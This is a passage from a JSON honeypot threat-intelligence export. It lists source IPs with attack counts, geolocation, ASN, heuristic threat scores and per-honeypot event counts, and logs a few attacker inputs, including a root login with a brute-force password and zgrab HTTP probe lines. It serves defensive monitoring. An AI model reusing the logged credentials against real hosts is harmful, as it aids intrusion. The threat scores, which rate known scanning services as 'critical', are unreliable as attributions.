        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:25:13.105000+00:00",
        "last_seen_30d": "2026-05-08T07:14:27.839000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "117.245.141.229": {
      "attack_count": 16,
      "first_seen": "2026-05-20T17:47:25.071Z",
      "last_seen": "2026-05-20T18:14:50.564Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:47:25.071000+00:00",
        "last_seen_30d": "2026-05-20T18:16:00.598000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "103.206.100.217": {
      "attack_count": 12,
      "first_seen": "2026-05-02T15:30:24.545Z",
      "last_seen": "2026-05-02T15:31:45.175Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 2.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:30:24.545000+00:00",
        "last_seen_30d": "2026-05-02T15:32:54.738000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "207.90.195.18": {
      "attack_count": 12,
      "first_seen": "2026-05-03T00:49:06.869Z",
      "last_seen": "2026-05-03T08:16:42.446Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 26832,
      "as_org": "Rica Web Services",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T00:49:06.869000+00:00",
        "last_seen_30d": "2026-05-03T08:17:48.649000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "68.183.195.167": {
      "attack_count": 12,
      "first_seen": "2026-05-05T05:20:06.377Z",
      "last_seen": "2026-05-05T05:20:56.088Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        "Accept-Encoding: gzip",
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 128816,
        "days_active_30d": 1,
        "ports_targeted_30d": 66217,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-05T05:17:27+00:00",
        "last_seen_30d": "2026-05-05T05:29:30.685000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 112720,
        "Honeytrap": 16038,
        "Cowrie": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "138.197.170.75": {
      "attack_count": 10,
      "first_seen": "2026-05-16T10:11:24.685Z",
      "last_seen": "2026-05-16T10:14:03.917Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 154174,
        "days_active_30d": 1,
        "ports_targeted_30d": 64288,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-05-16T10:09:40+00:00",
        "last_seen_30d": "2026-05-16T10:24:07.165000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 131867,
        "Honeytrap": 22245,
        "Mailoney": 12,
        "Dionaea": 11,
        "Cowrie": 10,
        "Miniprint": 8,
        "ConPot": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "103.248.236.9": {
      "attack_count": 8,
      "first_seen": "2026-05-02T12:12:24.505Z",
      "last_seen": "2026-05-02T12:20:27.288Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 58926,
      "as_org": "Banglanet",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T12:12:24.505000+00:00",
        "last_seen_30d": "2026-05-02T12:21:35.555000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "109.134.228.128": {
      "attack_count": 8,
      "first_seen": "2026-05-04T00:54:47.714Z",
      "last_seen": "2026-05-04T01:02:49.615Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Antwerp",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:54:47.714000+00:00",
        "last_seen_30d": "2026-05-04T01:03:59.204000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "183.212.244.31": {
      "attack_count": 8,
      "first_seen": "2026-05-26T03:21:33.245Z",
      "last_seen": "2026-05-26T03:22:46.893Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T03:21:33.245000+00:00",
        "last_seen_30d": "2026-05-26T03:23:47.597000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "95.16.86.174": {
      "attack_count": 8,
      "first_seen": "2026-05-13T21:11:33.321Z",
      "last_seen": "2026-05-13T21:19:35.790Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Aguilar",
      "asn": 12479,
      "as_org": "Orange Espagne SA",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:11:33.321000+00:00",
        "last_seen_30d": "2026-05-13T21:20:42.640000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "65.49.20.69": {
      "attack_count": 7,
      "first_seen": "2026-05-08T07:09:52.940Z",
      "last_seen": "2026-05-17T14:35:36.712Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 419,
        "days_active_30d": 30,
        "ports_targeted_30d": 93,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:58:46+00:00",
        "last_seen_30d": "2026-05-31T14:27:03.298000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 254,
        "Honeytrap": 144,
        "Dionaea": 8,
        "Cowrie": 7,
        "Honeyaml": 6
      }
    },
    "122.202.41.161": {
      "attack_count": 6,
      "first_seen": "2026-05-24T15:39:23.279Z",
      "last_seen": "2026-05-29T13:59:26.936Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 10175,
      "as_org": "Kumho Cable",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:39:23.279000+00:00",
        "last_seen_30d": "2026-05-29T14:00:36.266000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "172.234.217.192": {
      "attack_count": 6,
      "first_seen": "2026-05-07T20:12:17.373Z",
      "last_seen": "2026-05-07T20:12:17.732Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 76.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 26,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T11:54:21+00:00",
        "last_seen_30d": "2026-05-27T00:28:33.974000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 81,
        "Honeytrap": 38,
        "ConPot": 11,
        "Cowrie": 6,
        "Dicompot": 2,
        "Tanner": 1
      }
    },
    "205.210.31.93": {
      "attack_count": 6,
      "first_seen": "2026-05-11T21:42:17.412Z",
      "last_seen": "2026-05-21T04:48:38.378Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 120,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:29:56.352000+00:00",
        "last_seen_30d": "2026-05-31T05:07:07.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 27,
        "Cowrie": 6,
        "Redishoneypot": 3,
        "Dionaea": 1,
        "Honeyaml": 1
      }
    },
    "66.132.195.51": {
      "attack_count": 6,
      "first_seen": "2026-05-06T16:40:14.387Z",
      "last_seen": "2026-05-06T16:40:48.925Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 90.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-03T13:45:16+00:00",
        "last_seen_30d": "2026-05-31T19:43:53.579000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 41,
        "Cowrie": 6,
        "H0neytr4p": 4,
        "Dionaea": 3,
        "ConPot": 1,
        "Dicompot": 1
      }
    },
    "66.132.195.95": {
      "attack_count": 6,
      "first_seen": "2026-05-13T17:34:52.847Z",
      "last_seen": "2026-05-13T17:35:28.250Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 53.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 20,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T08:17:27+00:00",
        "last_seen_30d": "2026-05-21T20:09:15.696000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 7,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "ElasticPot": 4
      }
    },
    "106.13.96.57": {
      "attack_count": 5,
      "first_seen": "2026-05-16T16:00:56.249Z",
      "last_seen": "2026-05-16T16:01:00.707Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Wy123456@"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 10.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:00:56.249000+00:00",
        "last_seen_30d": "2026-05-16T16:02:04.479000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "119.166.46.91": {
      "attack_count": 4,
      "first_seen": "2026-05-23T05:41:52.198Z",
      "last_seen": "2026-05-23T05:42:06.813Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:41:52.198000+00:00",
        "last_seen_30d": "2026-05-23T05:43:14.324000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "14.103.120.132": {
      "attack_count": 4,
      "first_seen": "2026-05-12T16:16:07.136Z",
      "last_seen": "2026-05-12T16:16:14.115Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4811,
      "as_org": "China Telecom Group",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:16:07.136000+00:00",
        "last_seen_30d": "2026-05-12T16:18:07.587000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.48": {
      "attack_count": 4,
      "first_seen": "2026-05-09T16:46:07.760Z",
      "last_seen": "2026-05-09T16:46:10.954Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T00:31:44.040000+00:00",
        "last_seen_30d": "2026-05-30T17:49:09.768000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 17,
        "Cowrie": 4,
        "Dionaea": 2,
        "Tanner": 1
      }
    },
    "151.60.172.128": {
      "attack_count": 4,
      "first_seen": "2026-05-10T08:59:57.812Z",
      "last_seen": "2026-05-24T09:50:32.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Turin",
      "asn": 1267,
      "as_org": "Wind Tre S.p.A.",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:59:57.812000+00:00",
        "last_seen_30d": "2026-05-24T09:51:39.643000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "185.100.87.136": {
      "attack_count": 4,
      "first_seen": "2026-05-02T12:00:38.403Z",
      "last_seen": "2026-05-02T12:00:38.982Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": "Bucharest",
      "asn": 200651,
      "as_org": "FlokiNET ehf",
      "threat_score": 79.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.1,
        "persistence": 24.2,
        "diversity": 14,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 81,
        "days_active_30d": 29,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T11:01:53.012000+00:00",
        "last_seen_30d": "2026-05-30T16:34:23.025000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "H0neytr4p": 5,
        "Cowrie": 4,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "167.99.149.55": {
      "attack_count": 3,
      "first_seen": "2026-05-21T13:21:12.204Z",
      "last_seen": "2026-05-21T13:21:12.662Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 36.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 20,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T04:41:07+00:00",
        "last_seen_30d": "2026-05-21T13:22:15.134000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 3,
        "Honeytrap": 2,
        "Tanner": 1
      }
    },
    "1.182.12.103": {
      "attack_count": 2,
      "first_seen": "2026-05-22T06:23:25.022Z",
      "last_seen": "2026-05-22T06:23:59.896Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T06:23:25.022000+00:00",
        "last_seen_30d": "2026-05-22T06:25:04.479000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.159.187.153": {
      "attack_count": 2,
      "first_seen": "2026-05-21T17:56:33.536Z",
      "last_seen": "2026-05-21T17:58:33.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Meknes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T17:56:33.536000+00:00",
        "last_seen_30d": "2026-05-21T18:09:04.482000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.52.54.74": {
      "attack_count": 2,
      "first_seen": "2026-05-24T12:39:07.512Z",
      "last_seen": "2026-05-24T12:39:21.109Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T12:39:07.512000+00:00",
        "last_seen_30d": "2026-05-24T12:40:25.737000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "116.73.222.240": {
      "attack_count": 2,
      "first_seen": "2026-05-07T05:05:16.379Z",
      "last_seen": "2026-05-07T05:05:30.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Surat",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:05:16.379000+00:00",
        "last_seen_30d": "2026-05-07T05:06:31.303000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.119.202.205": {
      "attack_count": 2,
      "first_seen": "2026-05-11T14:53:30.778Z",
